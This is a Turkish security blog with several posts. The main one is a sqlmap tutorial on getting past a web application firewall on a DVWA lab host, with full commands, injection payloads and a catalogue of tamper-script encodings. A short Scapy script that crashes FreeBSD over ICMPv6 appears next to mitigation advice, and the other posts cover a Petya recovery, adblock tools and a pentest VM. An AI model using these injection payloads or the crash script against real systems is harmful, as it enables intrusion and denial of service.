Vedat FETAH Kimdir?

Ege Üniversitesi Bilgi İşlem Daire Başkanlığı bünyesinde kampüs güvenlik sistemleri yöneticisi olarak çalışma hayatıma devam ediyorum. Günlük yaşamda teknoloji ağırlıklı karşılaştığım ve beğendiğim yazıları paylaşmak amacıyla bu bloğu oluşturdum. Umarım birilerinin bilgilenmesini sağlar.

Halen Çalışmakta Olduğum Yer

Halen Ege Üniversitesi Uluslararası Bilgisayar Enstitüsü Binasında Bilgi İşlem Daire Başkanlığın'da çalışmaya devam etmekteyim.

25 Mayıs 2016 Çarşamba

Sqlmap ile Firewall Atlatma Teknikleri

Hedef sistemde SQL Injection güvenlik açığı tespit edilse bile normal şartlarda sqli komutları işlem görmüyorsa büyük ihtimalle arkada bir WAF(Web Application Firewall) tarafından algılanıp engelleniyordur.

SQL Injection saldırılarında çeşitli bypass yöntemleri kullanırız, örneğin;
büyük küçük harf karmaşası, komutların çeşitli şifreleme algoritmalarıyla encode etmek gibi..

SQLmap'in WAF, IPS gibi saldırı engelleme sistemlerini bypass etmesi için "tamper script" özelliği bulunmaktadır.

Aşağıda WAF kullanan bir sisteme SQLmap'in default kullanım parametresi verilmiştir ve sonuç alınamamıştır:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" --dbs 
    sqlmap/1.0-dev-dea6218 - automatic SQL injection and database takeover tool
    http://sqlmap.org 
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:39:43
[15:39:43] [INFO] testing connection to the target url
[15:39:43] [INFO] heuristics detected web page charset 'ascii'
[15:39:43] [WARNING] reflective value(s) found and filtering out
[15:39:43] [INFO] heuristic (parsing) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[15:39:43] [INFO] testing for SQL injection on GET parameter 'id'
[15:39:43] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:39:43] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:44] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:45] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:46] [CRITICAL] unable to connect to the target url or proxy
[15:39:46] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:47] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:48] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request

Görüldüğü gibi hedef sistemde UNION komutu geçtiğinde istekleri engelleyen bir yapı bulunmaktadır..

Şimdi ise bir de SQLmap'i --tamper fonksiyonuyla birlikte kullanalım:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" --tamper "tamper/randomcase.py" --dbs 
[*] starting at 16:16:24 
[16:16:24] [INFO] loading tamper script 'randomcase'
[16:16:24] [INFO] testing connection to the target url
[16:16:25] [INFO] testing if the url is stable, wait a few seconds
[16:16:26] [INFO] url is stable
[16:16:26] [INFO] testing if GET parameter 'id' is dynamic
[16:16:26] [WARNING] GET parameter 'id' appears to be not dynamic
[16:16:26] [INFO] heuristics detected web page charset 'ascii'
[16:16:26] [WARNING] reflective value(s) found and filtering out
[16:16:26] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
[16:16:26] [INFO] testing for SQL injection on GET parameter 'id'
[16:16:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string='Surname: admin')
[16:16:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[16:16:26] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:16:26] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..                                            
[16:16:27] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:16:37] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[16:16:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[16:16:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[16:16:37] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:16:37] [INFO] target url appears to have 2 columns in query
[16:16:37] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 19 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3106=3106&Submit=Submit
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND (SELECT 2385 FROM(SELECT COUNT(*),CONCAT(0x3a72796b3a,(SELECT (CASE WHEN (2385=2385) THEN 1 ELSE 0 END)),0x3a6b6e693a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a72796b3a,0x4f676a51626745675562,0x3a6b6e693a), NULL#&Submit=Submit
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)&Submit=Submit
---
[16:16:41] [INFO] changes made by tampering scripts are not included in shown payload content(s)
[16:16:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: MySQL 5.0
[16:16:41] [INFO] fetching database names
available databases [7]:
[*] beyazsapka
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test
[*] yenibir_siparis
[16:16:41] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.1.127'
[*] shutting down at 16:16:41

Görüldüğü gibi hedef sistemdeki koruyucu mekanizma atlatılmış oldu..

SQLmap'in yüklü olduğu dizinde "tamper" isimli klasörde çeşitli bypass scriptleri bulunmaktadır. Biz yukardaki testte "tamper" klasörünün içinde "randomcase.py" scriptinden faydalandık. Bu scriptin görevi UNION gibi sql komutlarını rastgele büyük-küçük harf şeklinde düzenleyerek karşı sisteme yollar ve WAF var ise bypass etmiş olur.

Aşağıda tamper klasöründe bulunan diğer bypass scriptlerinin isimleri, bypass yöntemleri ve hangi veritabanı platformlarında işlevi olduğunu paylaştım:


apostrophemask.py (UTF-8)
Örnek:
* Orjinal Komut: AND '1'='1'
* Bypass Komutu:  AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87

apostrophenullencode.py (unicode)
Örnek:
* Orjinal Komut: AND '1'='1'
* Bypass Komutu:  AND %271%27=%271%27

appendnullbyte.py ()
Örnek:
* Orjinal Komut: AND 1=1
* Bypass Komutu:  AND 1=1
Platform:
* Microsoft Access

base64encode.py (base64)
Örnek:
* Orjinal Komut: 1' AND SLEEP(5)#
* Bypass Komutu:  MScgQU5EIFNMRUVQKDUpIw==

between.py (“not between” “>”)
Örnek:
* Orjinal Komut: 'A > B'
* Bypass Komutu:  'A NOT BETWEEN 0 AND B'

bluecoat.py (“like” “=”)
Örnek:
* Orjinal Komut: SELECT id FROM users where id = 1
* Bypass Komutu:  SELECT%09id FROM users where id LIKE 1
Platform:
* MySQL 5.1, SGOS

chardoubleencode.py
Örnek:
* Orjinal Komut: SELECT FIELD FROM%20TABLE
* Bypass Komutu:  %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

charencode.py
Örnek:
* Orjinal Komut: SELECT FIELD FROM%20TABLE
* Bypass Komutu: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

charunicodeencode.py
Örnek:
* Orjinal Komut: SELECT FIELD%20FROM TABLE
* Bypass Komutu:  %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
Platform:
* ASP
* ASP.NET

equaltolike.py (“like” “=”)
Örnek:
* Orjinal Komut: SELECT * FROM users WHERE id=1
* Bypass Komutu:  SELECT * FROM users WHERE id LIKE 1

halfversionedmorekeywords.py
Örnek:
* Orjinal Komut: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
* Bypass Komutu:  value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa
Platform:
* MySQL < 5.1

ifnull2ifisnull.py (“IF(ISNULL(A), B, A)” “IFNULL(A, B)”)
Örnek:
* Orjinal Komut: IFNULL(1, 2)
* Bypass Komutu:  IF(ISNULL(1), 2, 1)
Platform:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)

modsecurityversioned.py
Örnek:
* Orjinal Komut: 1 AND 2>1--
* Bypass Komutu:  1 /*!30000AND 2>1*/--
Platform:
* MySQL

modsecurityzeroversioned.py (“0000”)
Örnek:
* Orjinal Komut: 1 AND 2>1--
* Bypass Komutu:  1 /*!00000AND 2>1*/--
Platform:
* MySQL

multiplespaces.py
Örnek:
* Orjinal Komut: UNION SELECT
* Bypass Komutu:   UNION   SELECT

nonrecursivereplacement.py
Örnek:
* Orjinal Komut: 1 UNION SELECT 2--
* Bypass Komutu:  1 UNUNIONION SELSELECTECT 2--

percentage.py (“%”)
Örnek:
* Orjinal Komut: SELECT FIELD FROM TABLE
* Bypass Komutu:  %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Platform:
* ASP

randomcase.py
Örnek:
* Orjinal Komut: INSERT
* Bypass Komutu:  InsERt

randomcomments.py
Örnek:
'INSERT' becomes 'IN/**/S/**/ERT'

securesphere.py
Örnek:
* Orjinal Komut: AND 1=1
* Bypass Komutu:  AND 1=1 and '0having'='0having'

sp_password.py (“sp_password”)
Örnek:
* Orjinal Komut: 1 AND 9227=9227--
* Bypass Komutu:  1 AND 9227=9227--sp_password
Platform:
* MSSQL

space2comment.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT/**/id/**/FROM/**/users

space2dash.py (“--”)
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227
Platform:
* MSSQL
* SQLite

space2hash.py
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Platform:
* MySQL

space2morehash.py
Platform:
* MySQL >= 5.1.13

space2mssqlblank.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT%08id%02FROM%0Fusers
Platform:
* Microsoft SQL Server

space2mssqlhash.py
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1%23%0A9227=9227
Platform:
* MSSQL
* MySQL

space2mysqlblank.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT%0Bid%0BFROM%A0users
Platform:
* MySQL

space2mysqldash.py
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu:  1--%0AAND--%0A9227=9227
Platform:
* MySQL
* MSSQL

space2plus.py (“+”)
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECT+id+FROM+users

space2randomblank.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu:  SELECTridtFROMnusers

unionalltounion.py (“union all” “union”)
Örnek:
* Orjinal Komut: -1 UNION ALL SELECT
* Bypass Komutu:  -1 UNION SELECT

unmagicquotes.py (“%bf%27” “--”)
Örnek:
* Orjinal Komut: 1' AND 1=1
* Bypass Komutu:  1%bf%27 AND 1=1--%20

versionedkeywords.py
Örnek:
* Orjinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Bypass Komutu: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Platform:
* MySQL

versionedmorekeywords.py
Örnek:
* Orjinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Bypass Komutu:  1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Platform:
* MySQL >= 5.1.13
Kaynak: İsmail Saygılı

4 Mayıs 2016 Çarşamba

Youtube'un Yeni Material Design'ı Nasıl Kullanılır?


Son günlerde teknoloji bloglarında Youtube tasarımının değişeceği hakkında bilgiler veriliyor. Peki bu yeni material design nasıl kullanılır? Bunun için aşağıdaki yöntemi izlemeniz yeterli.

1. Youtube sayfasını Google Chrome'da açıyoruz. www.youtube.com/?gl=US
2. Browser'ın Geliştirici ayarlarını CONTROL + SHIFT + I tuş kombinasyonu ile açın.
3. Açılan geliştirici penceresinde Resources sekmesinde bulunan Cookies kısmına tıklıyoruz. Buradaki youtube.com domainine tıklıyoruz. sağda çıkan VISITOR_INFO1_LIVE değerini siliyoruz. 
4. Daha sonra Console sekmesine geliyoruz ve aşağıdaki kodu kopyalayıp yapıştırıyoruz. Ardından entera basıyoruz.
document.cookie="VISITOR_INFO1_LIVE=Qa1hUZu3gtk;path=/;domain=.youtube.com";
5. Developer toolsu kapatın ve youtube sayfasını yenileyin yeni görünümü karşınızda :)

Sitelerin Adblock Eklentisi Kullanımını Engellemesini Aşma Yöntemi.


Son günlerde birçok site reklam gösterimlerini engelleyen yazılımları "Adblock Killer" kullanmaya başladı. Bu da iğrenç bir hal aldı. Eğer reklamsız site görüntülemesi istiyorsanız para karşılığında bu işi yapmalısınız diyen gazetelerimiz bile var. Ancak bu adblock algılayan siteleri atlatıp siteleri görüntülemenin de bir yolu var. Çok basit bir bir eklenti yaprdımıyla bu sitelerin reklamsız görüntülenmesini sağlayabilirsiniz.

1. Bunun için öncelikle Tampermonkey adlı chrome yada firefox eklentisini kurmanız gerekli. Bu işlemi yapmak için eklentiyi chrome browserdan uygulama mağazasından edinebilirsiniz.

2. Sıra scriptimizin kurulumuna geldik. Bu işlemi anti adblock killer adresine girerek başlatabilirsiniz. Sayfaya girdiğiniz zaman Install ve Cancel isimli iki buton hemen dikkatinizi çekecektir. Install butonuna tıklayıp sonrasında adblock kullanımını engelleyen siteye girdiğiniz zaman artık sitenin rahatça görüntülenebildiğini ve reklamların da ortadan kalmış olduğunu görebileceksiniz.

13 Nisan 2016 Çarşamba

Petya ransomware şifresi çözümlendi

Petya'nın şifresini kırma
Günümüzde genellikle Windows işletim sistemlerini hedef alan birden fazla fidyeci truva atları (Ransomware) vardır. En çok bilinen türü CryptoLocker truva atıdır. CryptoLocker ilk olarak 2013 yılında ortaya çıkmış ve E-Mail eklerinden bilgisayarlara bulaşarak bilgisayarımızın depolama aygıtı olan Hard Disk üzerindeki belirli dosya ve verileri şifreleyerek kullanıcıların bu dosyalara erişimini engellemektedir. Şifrenin çözümlenmesi için ise kullanıcıdan para talep edilmektedir.
Yaklaşık iki hafta kadar önce özellikle Almanya’da baş gösteren Petya isimli yeni bir Ransomware türemiştir. Diğer truva atlarına kıyasla Petya çok daha tehlikelidir. Bunun sebebi Petya’ nın bilgisayardaki belirli dosyalar yerine direkt olarak Master Boot Record’ u hedef almasıdır. Master Boot Record(kısaca MBR) depolama aygıtımız olan Hard Disk’ in ilk sektörüdür. Bilgisayarda hangi verinin/bilginin nerede olduğu burada saklıdır. Virüsü üreten kişler tarafından yapılan açıklamaya göre şifreleme Advanced Encryption Standard(AES) 256 Bit ve RSA 4096 Bit ile gerçekleştirilmiş ve bu yüzden verileri kurtarmanın tek yolunun şifrenin para karşılığında satın alınması olduğunu söylemişlerdi. Ancak uzmanlar Petya’ nın ürettiği şifreyi kırabilmek için Petya üzerinde çalışmalar başlatmış ve geçtiğimiz günlerde çalışmalar başarı ile sonuçlanmıştır.
Petya’nın şifresini kırma:
Petya virüsüne maruz kalmış bir bilgisayar ilk açıldığı anda kullanıcı yukarıdaki ekranla karşılaşır.
Petya’ nın ürettiği şifreyi kırabilmemiz için ihtiyacımız olan şey Petya’ nın ürettiği şifreyi hesaplayabilen bir internet sitesi (petya-pay-no-ransom-mirror1.herokuapp.com) ve Windows kurtarma CD’ si (eğer böyle bir CD oluşturmadıysanız Microsoft’ un kendi sitesinden ücretsiz olarak indirilebilirsiniz).
İnternet sitesi Petya virüsü bulaşmış Hard Diskimizin bazı bilgilerine ihtiyaç duymakta. Bu bilgileri elde etmenin iki farklı yolu vardır. İlki çok zahmetli bir yöntemdir. Bunun için internet üzerinden bir Hex-Editor programı indirerek ihtiyacımız olan tüm bilgileri okumaktır. Diğer yöntem ise güvenlik araştırmacısı olan Fabian Wosar’ ın bu amaç için ürettiği programı kullanmak. Program ücretisiz olup download.bleepingcomputer.com/fabian-wosar/PetyaExtractor.zip linkinden indirilebilir. Bazı antivirüs programları bu programı tehdit olarak algılayabilir ancak program tamamen zararsızdır.
İlk adımda kurtarma CD’ sini ve yukarıdaki linkten indirmiş olduğunuz programı kopyaladığınız USB Belleği Petya virüsü bulaşmış bilgisayara takıyoruz ve bilgisayarı yeniden başlatıyoruz.

Karşınıza çıkan bu ekranda İleri seçeneğini seçiyoruz. Bu kısımda

bilgisayar onarma seçeneklerini seçiyoruz ve ardından gelişmiş ayarları seçiyoruz.

Son olarak buradan cmd’ yi çalıştır seçeneğini seçiyoruz.

Bu adımda USB belleğimizin hangi harf ile tanımlandığını bulmamız gerek. Bunun için açılan cmd ekranına notepad yazıyoruz ve ENTER tuşuna basıyoruz. Notepad programını açıktan sonra üst menüden Dosya -> Aç seçeneğini seçiyoruz ve karşımıza çıkan ekrandan USB belleğimizin hangi harf ile tanımlandığına bakıyoruz (burada F harfi ile tanımlanmış).

USB belleğimizin hangi harf ile tanımlandığını bulduktan sonra CMD ekranına USB belleğimizin harfi: (burada f:) komutunu girerek bilgisayarımızı USB belleğe yönlendiriyoruz ve ardından PetyaExtractor.exe komutunu girerek indirmiş olduğumuz programı çalıştırıyoruz.

Programı çalıştırdıktan sonra copy sector butonuna basıp otomatik olarak kopyalanan yazıyı notepad’ e yapıştırıyoruz. Ardından Copy Nonce butonuna basarak işlemi tekrarlıyoruz ve oluşturmuş olduğumuz bu dosyayı USB belleğimize kaydediyoruz.

İkinci bir bilgisayardan linkini vermiş olduğum internet sitesine giriyoruz ve oluşturmuş olduğumuz notepad dosyasının içerisindeki bilgileri bu siteye veriyoruz. İlk kutunun içerisine kopyaladığımız ilk bilgileri ikincisine ise ikini kopyaladığımız bilgiyi yapıştırıp submit butonuna basıyoruz.

Birkaç saniye bekledikten sonra ihtiyaç duyduğumuz şifre site tarafından hesaplanmış olacaktır.

Kaynaklar:
Tüm resimler SemperVideo kanalındaki “Krypto-Trojaner Petya entschlüsselt” videosundan alınmıştır. Videonun linki:



5 Şubat 2016 Cuma

Facebook Messengerda Gizli Satranç Oyunu


Facebook messenger içinde gizli bir satranç oyunu olduğunu biliyor muydunuz? Eğer satranç severseniz arkadaşınızla facebook messenger üzerinden bu oyunu oynayabilirsiniz.

Bunu yapmanız için gereken tek şey arkadaşınızla bir konuşma başlatmanız ve konuşma penceresine @fbchess play yazmanız olacaktır. İyi eğlenceler.

31 Ocak 2016 Pazar

Android için Adblock Browser

Samsung Galaxy Note 3 kullanıcısı olarak son zamanlarda browserlarda reklam engelleme olayı can sıkıcı bir hal oldu. UC Browser ile reklamlar engelleniyor ancak hantal ve yavaş bir sistem. Bugün yeni Backbox 4.5 versiyonunu laptopuma kurduğumda klasik ayarları yapmaya başladım. Malum firefox için reklam engelleme amacı ile adblock plus kurulumunu yapmaya başladım bu sırada sitede Adblock Browser gözüme çarptı denemeye karar verdim. Telefonuma kurdum ve sonuç mükemmel. Browser ile ilgili detayları Google Play sayfasından aşağıda verdim. Dileyenler denesin. İndirme linki: https://play.google.com/store/apps/details?id=org.adblockplus.browser&hl=trhttps://play.google.com/store/apps/details?id=org.adblockplus.browser&hl=tr

Masaüstü tarayıcılar için en popüler reklam engelleyici, Android telefonunuz ve tabletiniz için artık mevcut.
Tüm web üzerinden ve ücretsiz olarak, Facebook, YouTube ve diğerlerinde istenmeyen reklamları engelleyin.


Adblock Plus tarafından geliştirilmiştir
• Yüksek kaliteli reklam engelleme
• 2006'dan beri piyasa lideri
• 400 milyon kereden fazla indirildi


Hızlı, verimli tarama
Reklamlar sayfaların yavaş yüklenmesine neden olabilir, veri planınızın yarısını yok edebilir ve pilin %20'sinden fazlasını tüketebilir. Adblock Tarayıcı yerleşik bir reklam engelleyiciye sahip olduğundan, şunları yapabilir:
• Sayfaları daha hızlı yükler
• Pil ve verileri korur


Güvenli ve gizli
Bir sürü kötü amaçlı yazılım ve izleme gibi istenmeyen şeyler, reklamlar arkasına gizlenebilir.
• Kötü amaçlı yazılım enfeksiyonu riskini azaltır
• Gizliliği geliştirir
• Stanford Üniversitesi, UC Santa Barbara, Electronic Frontier Foundation tarafından önerilir


Kontrol sizde
• Tüm reklamları engellemek için varsayılan ayarı değiştirin
• Kötü amaçlı yazılım, izleme
ve daha fazlasını devre dışı bırakın
• En sevdiğiniz web sitesinde reklamları destekleyin


Adblock Tarayıcı Desteği
Bir hata mı buldunuz ya da desteğe mi ihtiyacınız var? Android için Adblock Tarayıcı Destek sayfamızı ziyaret edin: https://adblockplus.org/redirect?link=adblock_browser_android_support


Adblock Tarayıcı Hakkında
Adblock Tarayıcı, dünyanın en popüler reklam engelleyici ekibi olan Adblock Plus tarafından geliştirildi. Masaüstü için Adblock Plus'a göz atın!


Şu adreslerde daha fazlasını keşfedin:
https://adblockplus.org/
Facebook: https://www.facebook.com/adblockplus
G+: https://plus.google.com/u/0/communities/104936844759781288661

27 Ocak 2016 Çarşamba

SCTP ICMPv6 error processing vulnerability (CVE-2016-1879)


Freebsd tabanlı sunucularda Ipv6 SCTP socketi kullanılarak yapılan ICMPv6 dos saldırısı sonucu freebsd sunucular etkilenmektedir. Aşağıda saldırı ve etkisi ile ilgili bir video da bulunmaktadır.

Bu açık FreeBSD sistemlerden (versiyon 9.3, 10.1 ve 10.2) SCTP desteği olan ve IPV6 default konfigürasyonunu kullananlar etkilenmektedir.

Sisteminizi korumak için;

1. Eğer gerekli değilse ipv6 desteğini kapatınız.
2. ICMPv6'yı ve IPv6 trafiğini firewallunuzda engelleyiniz.
3. SCTP stack desteğini çekirdeğinizi yeniden derleyerek kapatın.

Test amaçlı kullanılan python scripti aşağıdaki gibidir. Sistemlerinizin etkilenip etkilenmediğini test edebilirsiniz.

#!/usr/bin/env python # -*- coding: utf-8 -*- import argparse from scapy.all import * def get_args(): parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78) parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address") parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address") parser.add_argument("-I", "--iface", type=str, help="Iface") options = parser.parse_args() if options.dst_mac is None or options.dst_ipv6 is None: parser.print_help() exit() return options if __name__ == '__main__': options = get_args() sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132, src=options.dst_ipv6, dst='fe80::230:56ff:fea6:648c'), iface=options.iface)


17 Ocak 2016 Pazar

Fortigate OS Version 4.x 5.0.7 Sürümleri Arasında SSH Güvenlik Açığı

Fortigate firewalların son günlerde yayınlanan açıkları bomba etkisi yaratmaya devam ediyor. En son yayınlanan ssh açığı ile sunucuya admin yetkisi ile bağlanabiliyorsunuz. Bu konuda yazılan exploitler yayınlanmaya başladı.

Ancak son zamanda farkına vardığım bir açık sayesinde hiçbir scripte ihtiyaç duymadan Fortigate firewalların bazı modellerinde default hashli şifre ve admin (Bu ad ve şifre kötü niyetli kullanımlara karşı verilmemiştir.) adıyla sisteme girebiliyorsunuz.

6 Ocak 2016 Çarşamba

Vezir Harika Bir Türk Mobil Pentest Dağıtımı...

Vezir adında bir Türk (Oğuzhan Topgül) tarafından yapıldığını öğrendiğim bir mobil penetrasyon test ortamı bugün dikkatimi çekti. Yazılım ile ilgili bilgiler orjinal sitesinden İngilizce olarak aşağıda verilmiştir.
Vezir-Project
Yet Another Linux Virtual Machine for Mobile Application Pentesting and Mobile Malware Analysis.

Main purpose of the Vezir is to provide up-to-date testing environment for mobile security researchers. Vezir (vizier, chess queen in Turkish) is based on Ubuntu and it is created with VMWare Fusion 6.0.4. In order to minimize compatibility issues, Vezir virtual machine is set to use hardware version 8 and therefore it is compatible with

ESXi 5.0
ESXi 5.1
Fusion 4.0
Fusion 5.0
Fusion 6.0
Workstation 8.0
Workstation 9.0
Workstation 10.0
virtualization environments

Vezir 2.0 uses XFCE desktop environment (Xubuntu) and based on Ubuntu 15.04

Update Status:

Vezir 2.0 latest version is Vezir 2.0.2 and updated on 3 Dec 2015

Vezir 1.0 latest update on 3 Oct 2015

Download

Download Vezir 2.0.2 from the link: https://goo.gl/LfPJkW

Download Vezir 1.0 older release from the link: https://goo.gl/yuieQf

Credentials

Username: vezir Password: vezir

Tools

Eclipse
Android Studio
Android SDK
Android NDK (Intentionally removed in Vezir 2.0)
libimobiledevice library
BinaryCookieReader
androguard
Drozer
JD-GUI
Jadx
dex2jar
Hopper
IDA Demo (Intentionally removed in Vezir 2.0)
plutil
baksmali
apktool
sqlmap
BurpSuite Free
Wireshark
sqlite3
sqlitebrowser
AXMLPrinter2
Graphviz Dot
Doxygen
Android Log Viewer
Simplify Deobfuscator
Genymotion
Virtualbox
MFFA (Media Fuzzing Framework for Android)
Vulnerable Labs (SecurityCompass InsecureBank, OWASP GoatDroid, Pentesterlab SQLi)
Enjarify
Apache HTTP server
BytecodeViewer - planned for future release (https://github.com/Konloch/bytecode-viewer)
All the tools above are put in the /home/vezir/ambar directory. Most of them are added to PATH, so you can easily run by just typing the name of the application.

Default keyboard layout is TR (Turkish-Q), but you can change it to English(US) in the login screen if you are not using TR layout.

Paylaş

Twitter Delicious Facebook Digg Stumbleupon Favorites